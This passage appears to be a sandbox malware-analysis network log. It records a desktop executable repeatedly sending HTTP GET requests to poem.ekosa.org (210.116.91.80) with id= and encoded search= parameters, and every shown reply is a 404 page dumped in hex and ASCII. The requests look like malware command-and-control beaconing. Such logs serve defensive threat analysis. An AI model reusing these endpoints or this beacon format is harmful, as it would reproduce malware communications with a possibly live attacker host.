Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.4	49809	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:21.728523016 CET	484	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:21.991290092 CET	485	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:21 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.4	49810	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:22.255980968 CET	485	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:22.516060114 CET	486	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:21 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.4	49811	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:22.804016113 CET	487	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:23.083775043 CET	487	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:22 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.4	49812	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:23.467602015 CET	488	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:23.732043982 CET	488	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:22 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.4	49813	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:24.011401892 CET	489	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:24.282001972 CET	490	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:24 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.4	49814	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:24.547841072 CET	490	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:24.808159113 CET	491	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:24 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.4	49815	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:25.193589926 CET	492	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:25.463578939 CET	492	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:25 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.4	49816	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:25.729624033 CET	493	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:25.991885900 CET	493	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:25 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49763	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:54:59.492043972 CET	109	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:54:59.760138988 CET	115	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:54:59 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.4	49817	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:26.297059059 CET	494	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:26.560982943 CET	495	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:26 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.4	49818	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:26.957791090 CET	495	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:27.229217052 CET	496	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:26 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 